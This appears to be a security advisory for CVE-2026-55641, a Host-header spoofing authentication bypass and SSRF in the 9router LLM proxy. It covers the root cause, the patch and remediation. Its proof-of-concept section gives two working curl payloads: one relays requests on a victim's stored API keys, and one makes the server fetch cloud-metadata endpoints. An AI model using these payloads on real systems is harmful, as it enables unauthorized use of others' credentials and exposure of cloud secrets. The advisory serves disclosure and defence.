CVE-2026-55641: 9router Authentication Bypass via Host Header Spoofing and SSRF
9router's local-request check trusts the client-supplied Host header instead of the actual TCP peer address, so any remote attacker who can reach the port can forge Host: localhost to skip API-key…

The problem
9router exposes an OpenAI-compatible proxy on 0.0.0.0:20128 by default. The guard function canAccessPublicLlmApi in src/dashboardGuard.js skips all key checks whenever isLocalRequest returns true.
isLocalRequest looks only at the client-supplied Host header (and an optional Origin header) to decide whether a connection is local. It never reads the TCP socket peer address. Because the default config also omits requireApiKey from DEFAULT_SETTINGS, the handler-level key checks in chat.js and search.js are also skipped.
The result: any unauthenticated remote caller who sends Host: localhost gains full /v1 proxy access, spending the victim's stored provider credentials, and can pass an attacker-controlled provider_options.baseUrl to /v1/search to trigger a server-side fetch to any internal or cloud-metadata address.
Proof of concept
A working proof-of-concept for CVE-2026-55641 in 9router, with the exact payload below.
# 1. Open AI relay (victim's key pays; no Authorization header needed)
curl -sS http://VICTIM_IP:20128/v1/messages \
-H 'Host: localhost' \
-H 'Content-Type: application/json' \
-d '{"model":"claude-3-5-sonnet-20241022","max_tokens":64,"messages":[{"role":"user","content":"relay test"}]}'
# 2. Unauthenticated SSRF to cloud-metadata (response JSON reflected to caller)
curl -sS http://VICTIM_IP:20128/v1/search \
-H 'Host: localhost' \
-H 'Content-Type: application/json' \
-d '{"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://169.254.169.254/latest/meta-data"}}'The root cause is CWE-290 (Authentication Bypass by Spoofing): isLocalRequest() calls request.headers.get("host") and checks whether that hostname is localhost, 127.0.0.1, or ::1. Because HTTP headers are fully client-controlled, any remote peer can pass this check by setting Host: localhost.
The TCP socket peer address is never consulted.
The SSRF path chains through the searxng provider, which is marked noAuth: true. The resolveBaseUrl helper in callers.js reads params.providerOptions.baseUrl first and uses it as the fetch target without any allowlist or private-range check. The 9router server process then issues a GET to that URL and reflects the JSON body to the caller.
The patch commit b282f055 rewrites isLocalRequest to derive the peer IP from the socket connection object (the server-set value) rather than the Host header, and treats any non-loopback peer as remote regardless of what headers it presents.
The fix
Upgrade to 9router 0.5.2 or later. The patch anchors the locality check to the TCP socket peer address, not the Host header. Additionally: bind to 127.0.0.1 instead of 0.0.0.0 unless remote access is explicitly needed; add requireApiKey: true to DEFAULT_SETTINGS so the key check is fail-closed; and restrict provider_options.baseUrl to an allowlist that blocks private and link-local ranges.
Reported by decolua.
Related research
- high · 8.6CVE-2026-56677CVE-2026-56677: 9router Unauthenticated SSRF via OIDC Test Endpoint
- high · 7.3CVE-2026-55501CVE-2026-55501: 9router Login Rate-Limit Bypass via X-Forwarded-For Spoofing
- high · 8.6CVE-2026-55638CVE-2026-55638: 9router Unauthenticated LLM Proxy Access via /codex Rewrite Authorization Bypass
- critical · 9.9CVE-2026-55500CVE-2026-55500: 9router Unprotected Database Export/Import Credential Theft